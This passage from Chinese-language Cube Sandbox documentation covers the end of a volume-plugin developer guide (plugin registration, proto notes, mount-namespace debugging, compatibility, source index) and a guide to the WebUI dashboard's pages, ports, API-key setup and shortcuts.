能力或目标节点 driver。Volume 不存在、目标节点未注册 driver 或 `Attach` 返回错误时，沙箱创建失败。运维方需要在每个候选节点配置相同 driver，并确保它们能够访问目标后端。 Volume backend 与 VM Snapshot backend 相互独立。VM Snapshot 包必须使用 S3 backend 才能跨机；Plugin Volume 可以使用目标节点 driver 能够 Attach 的任意后端。raw host mount 与此不同，始终固定在源节点。 ### 常见异常（SDK） | 场景 | SDK 异常 | 典型原因 | |------|----------|----------| | 卷不存在 | `VolumeNotFoundError`（404） | `Volume.get_info` / `Volume.connect` 的 ID 无效 | | 未知 driver | `ApiError`（400，CubeMaster 130400） | 未配置对应 `volume_plugins` | | 卷仍被引用 | `ApiError`（409，CubeMaster 130409） | Volume 仍被沙箱挂载时尝试删除 | | 非法卷名 | `ValueError` | 客户端校验；名称不符合 `^[a-zA-Z0-9_-]+$` | | 挂载不存在的卷 | `ApiError` | 沙箱 `volumeMounts[].name` 未创建 | | 快照恢复时挂载有变化 | `ApiError`（400，CubeMaster 130400） | 从快照创建时传入的 `volumeMounts` 与快照记录的挂载不一致 | > **注意**：Volume 仍被任意沙箱挂载时，`Volume.destroy()` 返回 **409**。须先销毁所有使用该 Volume 的沙箱，再删除。删除**不会**自动卸载正在使用的沙箱。 *** ## 注册与配置 ### CubeMaster（conf.yaml） ```yaml volume_plugins: - name: <driver> type: binary binary_path: <binary_path> - name: <driver> type: rpc socket_path: /run/<driver>.sock # Unix 裸路径；插件 SOCKET 须一致 ``` ### Cubelet（config.toml） ```toml [plugins."io.cubelet.internal.v1.storage"] volume_plugin_base_dir = "<volume_plugin_base_dir>" [[plugins."io.cubelet.internal.v1.storage".volume_plugins]] name = "<driver>" type = "binary" # binary | rpc binary_path = "<binary_path>" [[plugins."io.cubelet.internal.v1.storage".volume_plugins]] name = "<driver>" type = "rpc" socket_path = "/run/<driver>.sock" # 与插件 SOCKET 相同 ``` **`driver` 名须全链路一致：** `Volume.create(..., driver=...)`（省略则取列表第一项）→ 写入 DB → annotation → Cubelet 按同名路由。CubeMaster 与 Cubelet 的 **`volume_plugins[].name` 必须一致**。 **`volume_plugin_base_dir`：** 所有插件返回的 `host_path` **必须**落在该目录内（未配置时默认 `/data/cube-shared/volume`）。Cubelet 经 `volumeBaseDir`（rpc）/ `--volume-base-dir`（binary）传给插件；`host_path` 越界则 attach 被拒绝并回滚。 > **`binary_path` / `socket_path` 位置：** 第三方插件请安装到 cubetoolbox 目录之外，否则升级 Cube 时会被重置。 **`name` 必须唯一**：同一进程内不能有两条相同 `name` 的 `volume_plugins`。列表顺序决定省略 `driver` 时的默认插件。 *** ## rpc 插件 pb 定义说明 rpc 插件实现 [`volumeplugin.proto`](https://github.com/TencentCloud/CubeSandbox/blob/master/pkgs/proto/services/volumeplugin/v1/volumeplugin.proto) 中的 gRPC 服务。消息字段与上文 [Hook 定义](#hook-定义) 一致（proto 使用 `snake_case`）。 | 文件 | 说明 | |------|------| | [`volumeplugin.proto`](https://github.com/TencentCloud/CubeSandbox/blob/master/pkgs/proto/services/volumeplugin/v1/volumeplugin.proto) | 协议源文件 | | [`volumeplugin.pb.go`](https://github.com/TencentCloud/CubeSandbox/blob/master/pkgs/proto/services/volumeplugin/v1/volumeplugin.pb.go) | 已提交的 Go message | | [`volumeplugin_grpc.pb.go`](https://github.com/TencentCloud/CubeSandbox/blob/master/pkgs/proto/services/volumeplugin/v1/volumeplugin_grpc.pb.go) | 已提交的 gRPC stub | | Service | 调用方 | RPC | |---------|--------|-----| | `VolumeControllerService` | CubeMaster | `Create`、`Destroy` | | `VolumePluginService` | Cubelet | `Attach`、`Detach` | 修改 proto 后重新生成：`cd pkgs/proto && make proto`。参考实现：[`examples/volume/cos/rpc/README.zh.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/rpc/README.zh.md)。 *** ## 插件开发要点 实现自定义 Volume 插件时须遵守以下平台规则： | # | 要点 | 说明 | |---|------|------| | 1 | mntns | Node Hook 须在 Cubelet mntns 内挂载；binary 由 Cubelet fork 自动继承 | | 2 | 幂等 Attach | `refCount > 0` 表示本 node 已有沙箱挂载 — 直接返回已有 `hostPath` | | 3 | hostPath | **必须**落在 `volumeBaseDir` 内（推荐 `<volumeBaseDir>/<driver>-<volumeID>`），框架再 bind 到 virtiofs | | 4 | Detach 范围 | Node Detach 只拆除宿主机侧挂载（如 FUSE unmount）；不删除后端持久数据 | | 5 | 凭证 | 访问密钥、桶名、地域等由**插件自行管理**（配置文件、环境变量等）；框架不规定布局 | | 6 | CubeMaster / Cubelet 一致 | 两侧 `volume_plugins` 须注册**相同的 `driver` 名**；同一 Volume 的管理面 Hook（Create/Destroy）与数据面 Hook（Attach/Detach）须指向**同一套插件** | | 7 | 升级安全路径 | 第三方插件请安装到 cubetoolbox 目录之外，否则升级 Cube 时会被重置 | *** ## 参考实现 仓库提供 **腾讯云 COS** 参考插件（binary Shell + rpc Go），含完整体验指南与依赖安装： | 文档 | 内容 | |------|------| | [`examples/volume/cos/README.zh.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.zh.md) | COS 完整体验（依赖、配置、SDK 验证） | | [`examples/volume/cos/binary/README.zh.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/binary/README.zh.md) | binary 插件脚本细节 | | [`examples/volume/cos/rpc/README.zh.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/rpc/README.zh.md) | rpc 插件构建与部署 | | [`examples/volume/cos/verify_volume.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/verify_volume.py) | Python SDK 验证脚本 | | [`examples/volume/s3/README.zh.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/s3/README.zh.md) | 通用 S3 兼容后端完整体验（内置 S3 客户端的 Go 二进制 + s3fs；AWS S3、腾讯云 COS、MinIO、R2；支持 `arm64`） | | [`examples/volume/juicefs/README.zh.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/juicefs/README.zh.md) | JuiceFS 完整体验（对象存储之上的 POSIX 文件系统；一个文件系统，每个卷 `--subdir`；多个沙箱可共享一个卷并立即看到彼此的写入） | 各后端专属的 Hook 行为、对象布局、实现取舍与排障说明均在上述 example 文档中，本文不再重复。 *** ## 调试与排障 ### Mount Namespace Cubelet 通过 `unshare(CLONE_NEWNS)` 运行在**独立 mount namespace** 中。这是实现细节，不影响 Hook 协议本身，但开发 / 排障时需注意： * Node Hook 产出的 `hostPath`（FUSE、bind 等）必须落在 **Cubelet mntns** 内；宿主机根 mntns 的 `/proc/mounts` 通常看不到这些挂载。 * **binary** 插件由 Cubelet fork，自动继承 mntns，一般无需 `nsenter`。 * 若在宿主机上手动 `mount` 做调试，沙箱内往往**看不到**——应通过 Cubelet 触发 Attach，或进入 Cubelet mntns 验证。 查看 Cubelet mntns 内的挂载： ```bash CPID=$(pgrep -f "cubelet --config" | head -1) nsenter -t "$CPID" -m -- mount | grep -E 'volume|fuse' ``` ### 手动测试插件（binary 类型） 将 `/path/to/my-plugin` 与 `my-storage` 替换为你的插件二进制与配置的 `driver` 名： ```bash # 模拟 Controller create /path/to/my-plugin \ --op create --volume-id test-vol --name test-vol # 模拟 Node attach（第一次挂载）；host_path 必须落在 --volume-base-dir 内 /path/to/my-plugin \ --op attach --sandbox-id sb-001 --namespace default \ --volume-id test-vol --ref-count 0 \ --volume-base-dir /data/cube-shared/volume ``` COS 插件的手动测试命令见 [`examples/volume/cos/README.zh.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.zh.md)。 ### 常见问题 | 现象 | 可能原因 | 排查 | |------|----------|------| | `no plugin registered for driver` | Cubelet 未配置对应 `volume_plugins` | 检查 `config.toml`，重启 Cubelet | | `unknown driver` | CubeMaster 未配置或 driver 名不一致 | 对比两侧配置的 `name` 字段 | | `volume not found` | 沙箱 `volumeMounts[].name` 与已有 `volume_id` 不匹配 | 使用 `Volume.create` 返回的 `volume_id`，或在 `volume_mounts` 中直接传 `Volume` 实例 | | FUSE 挂载成功但沙箱内看不到 | 挂载在宿主机 mntns 而非 Cubelet mntns | 确保插件由 Cubelet fork，不要手动在宿主机 mount | | attach 成功但 detach 泄漏 | `ref_count > 0` 时误卸载了共享 FUSE | 检查 detach 逻辑是否遵守 RefCount 语义 | ## 兼容性说明 Volume 依赖 CubeMaster 与 Cubelet **双侧**均升级到支持 Volume 插件的版本。滚动升级期间： | CubeMaster | Cubelet | Volume 创建 / 删除 | 沙箱 `volumeMounts` | |---|---|---|---| | 新 | 新 | 可用 | 可用 | | 新 | 旧（如 v0.5.x） | 可用 | 不生效（创建不因此失败，但不会挂载） | | 旧（如 v0.5.x） | 新 / 旧 | 不可用 | 不可用；勿传 `volumeMounts`，普通创建不受影响 | 混合版本时勿假设旧节点已挂载成功；需要挂载效果时，请确认调度到的 Cubelet 已升级。 *** ## 已知限制与路线图 以下为 **Cube 平台当前行为**（与具体插件实现无关）： | 项目 | 说明 | |------|------| | 删除 Volume 检查引用计数 | `t_cube_volume.refcount ≠ 0`（仍被 node 挂载）时拒绝删除；不会自动 detach 运行中沙箱 | | refcount 依赖响应可达 | 引用计数在沙箱创建/销毁**响应**中回传；若该响应丢失（网络异常等），计数可能与实际短暂不一致 | | FUSE POSIX 语义 | 取决于后端与挂载实现（硬链接、原子 rename 等） | *** ## 源码索引 | 模块 | 路径 | 说明 | |------|------|------| | Node 接口 | `Cubelet/plugins/volume/interface.go` | `VolumePlugin` 抽象接口 | | Node 请求类型 | `Cubelet/plugins/volume/context.go` | `AttachRequest` / `DetachRequest` | | Controller 接口 | `CubeMaster/pkg/volume/plugin/plugin.go` | `ControllerPlugin` 抽象接口 | | Node binary 类型 | `Cubelet/plugins/volume/binary/driver.go` | Hook → CLI 映射 | | Node rpc 类型 | `Cubelet/plugins/volume/rpc/driver.go` | Hook → rpc 客户端 | | Controller binary | `CubeMaster/pkg/volume/plugin/binary/driver.go` | Hook → CLI 映射 | | Controller rpc | `CubeMaster/pkg/volume/plugin/rpc/driver.go` | Hook → rpc 映射 | | 跨节点 refcount | `CubeMaster/pkg/volume/refcount/refcount.go` | 解析 ext\_info 事件并累加 `t_cube_volume.refcount` | | Volume DB 模型 | `CubeMaster/pkg/base/db/models/volume.go` | `VolumeRecord`（含 `refcount` 字段） | | Node 挂载逻辑 | `Cubelet/storage/pluginvolume.go` | bind-mount + virtiofs；上报 node 级 refcount 转变 | | 协议定义 | `pkgs/proto/services/volumeplugin/v1/volumeplugin.proto` | rpc 类型 proto | | Go 生成代码 | `pkgs/proto/services/volumeplugin/v1/volumeplugin*.pb.go` | 已提交的 message / rpc stub | | COS 参考（binary） | `examples/volume/cos/binary/cube-volume-cos.sh` | binary 类型示例 | | COS 参考（rpc） | `examples/volume/cos/rpc/cmd/cube-volume-cos-rpc` | rpc 类型示例 | --- --- url: https://cubesandbox.com/zh/guide/webui.md --- # WebUI 控制台 Cube Sandbox **Dashboard（控制台）** 是一个内置的网页界面，让你在浏览器里就能看清集群里跑着什么、管理沙箱、构建模板、检查节点健康——不用敲一行 CLI。 > ⏱ 大约 3 分钟读完。读完之后，你就能在笔记本上把控一个集群。 ## 1. 在哪里打开？ Dashboard 是一个静态前端，由 **控制节点** 上的 nginx 容器托管。 | 部署方式 | 访问地址 | 说明 | | --- | --- | --- | | 一键部署 / 多机集群 | `http://<控制节点IP>:12088` | 默认端口，可通过 `WEB_UI_HOST_PORT` 修改 | | 裸金属 / 物理机部署 | `http://<服务器IP>:12088` | 同样使用 12088 | | 本地开发 | `http://localhost:5173` | Vite 开发服务器，自动代理 `/cubeapi` 到 `127.0.0.1:3000` | ::: tip 记住 12088，不是 3000 `3000` 端口是 E2B 兼容的 REST API（CubeAPI），`12088` 是给人用的 Dashboard。Dashboard 在内部会通过同源前缀 `/cubeapi/v1` 调用 CubeAPI，所以你只需要打开 `12088` 这一个端口。 ::: 如果你不知道控制节点的 IP，可以在服务器上跑 `ip -4 addr`，或者在同网段下直接访问 `http://<主机名>:12088`。 ## 2. 一眼看完侧边栏 所有功能都在左侧栏的 11 个图标后面。鼠标悬停会显示名字。 | # | 图标 | 页面 | 用途 | | --- | --- | --- | --- | | 1 | 📊 | **Overview（概览）** | 集群关键指标：运行中沙箱数、CPU/内存使用率、健康节点数 | | 2 | 📦 | **Sandboxes（沙箱）** | 所有 micro-VM 的实时列表，支持暂停 / 恢复 / 销毁 | | 3 | 🧩 | **Templates（模板）** | 可复用的沙箱快照目录，支持从 OCI 镜像创建新模板 | | 4 | 🖥️ | **Nodes（节点）** | 集群健康：每台宿主机的 CPU、内存、可用槽位 | | 5 | 🧬 | **Versions（版本矩阵）** | 跨节点的组件版本分布（内核、agent、guest 镜像） | | 6 | 📦 | **Warehouse（组件仓库）** | 导入一键包；创建/恢复时节点可按需下载缺失的绑定版本 | | 7 | 🌐 | **Network（网络）** | API 网关配置与每节点速率限制 | | 8 | 📈 | **Observability（可观测性）** | 运行时状态、沙箱健康、模板构建总览 | | 9 | 🔑 | **API Keys（API 密钥）** | 存储 Dashboard 请求使用的 `X-API-Key` | | 10 | 🏪 | **Template Store（模板商店）** | 安装官方预置镜像，一键生成模板 | | 11 | 🤖 | **AgentHub（智能体中心）** | 在 Cube Sandbox 上招募并管理 AI 智能体实例 | | 12 | ⚙️ | **Settings（设置）** | 主题、语言、集群信息、键盘快捷键 | ::: tip 新用户？从 **Overview** 开始。 它把最重要的信息聚在同一屏上，并且会自动刷新。 ::: ## 3. 头三件你一定会做的事 ### 3.1 检查集群是否健康 打开 **Overview**（`/`）。你应该看到四张偏绿色的 KPI 卡片： * **Running Sandboxes** — 当前活跃的 micro-VM 数量 * **CPU / Memory Utilization** — 整集群的压力 * **Healthy Nodes** — `N/M` 个节点处于 `Ready` 状态 如果哪项数字飘红，点进 **Nodes** 看是哪个宿主出了问题。 ### 3.2 创建一个沙箱 1. 点左侧栏的 **Sandboxes**，再点右上角 **+ New sandbox**。 2. 在网格里挑一个模板。优先选 `READY`。如果模板标了「需重建」，先打开详情点「重建模板」，再建沙箱。其它 `READY` 模板在节点升级后仍可直接创建。 3. （可选）填几对 `meta` 键值对作为标签。 4. 点 **Create**。几秒内你就会被跳转到该沙箱的详情页，能看到日志在实时滚动。 要停掉一个沙箱，去 **Sandboxes** 列表，找到对应行，点最右边的暂停 / 销毁按钮。 ### 3.3 配置 API Key（仅在开启鉴权时需要） 如果你的部署开启了鉴权，Dashboard 必须在请求里带上 API Key，否则所有请求都会失败。 1. 点左侧栏的 **API Keys**。 2. 把 Key（形如 `sk-cube-…`）粘进输入框。 3. 点 **Save**。Key 会保存在浏览器的 `localStorage.cube.apiKey`，Dashboard 之后每次请求都会自动带上 `X-API-Key` 请求头。 ::: details 这个 Key 从哪来？ 开启鉴权的人会生成它。完整流程见 [鉴权](./authentication.md)。 ::: ## 4. 键盘快捷键 Dashboard 对键盘很友好。最常用的三个： | 按键 | 作用 | | --- | --- | | `⌘ K` / `Ctrl K` | 打开 **Command Palette**——输入页面名直接跳转 | | `?` | 打开 **Settings → Shortcuts**（应用内查看完整快捷键列表） | | `R` | 刷新所有可见数据面板 | | `Esc` | 关闭弹窗或 Command Palette | ## 5. 个性化 打开左侧栏的 **Settings**： * **Appearance → Theme** — 浅色 / 深色 / 跟随系统 * **Appearance → Language** — English 或 简体中文 * **Cluster** — 只读展示 CubeAPI 端点、沙箱域名、默认实例类型、速率限制、鉴权开关 顶栏右上角和 ⌘K 输入框里也有同样的快捷开关。 ## 6. 常见问题 **为什么还要单独做个 Dashboard，不能直接用 curl 吗？** 绝大多数操作（从镜像创建模板、看版本矩阵、排查节点）在 UI 里更容易发现和理解。Dashboard 本质上只是 CubeAPI 的一个轻量客户端——每个页面背后都是一次 `/cubeapi/v1/*` 请求，这跟 E2B SDK、`curl` 调的是同一个 E2B 兼容 REST API。 **Dashboard 会保存我的数据吗？** 只会在浏览器里保存一样东西：`localStorage.cube.apiKey` 里的 API Key。其他所有状态（模板、沙箱、日志）都在集群上。 **能改端口吗？** 可以——在 `.env` 里设 `WEB_UI_HOST_PORT`，然后重跑 `install.sh`。改动会在下次启动 `cube-sandbox-webui.service` 时生效。 **能关掉 Dashboard 吗？** 可以——把 `.env` 里的 `WEB_UI_ENABLE` 设成 `0`（或不设）。集群照常运行，只是不再提供 WebUI；`3000` 端口的 E2B 兼容 API 不受影响。 **Dashboard 是开源的吗？我能自己构建吗？** 可以——它在仓库的 `web/` 目录里，用 Vite + React + TypeScript + Tailwind 构建。详见 [本地构建部署](./self-build-deploy.md) 和 [`web/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/web/README.md)。 ## 7. 下一步 * [快速开始](./quickstart.md) — 如果你还没安装，几分钟到能跑的 Dashboard * [服务管理与日志](./service-management.md) — 如何启停 / 重启 `cube-sandbox-webui.service` 容器 * [组件多版本](./component-multiversion.md) — 节点同时存多个组件版本，升级组件不影响老模板和老沙箱 * [鉴权](./authentication.md) — 还没开启 API Key？这里有完整步骤 * [HTTPS 证书与域名解析](./https-and-domain.md) — 给 Dashboard 加 TLS * [架构概览](../architecture/overview.md) — 了解 Dashboard 背后的 CubeAPI / CubeMaster / Cubelet 怎么协作 ---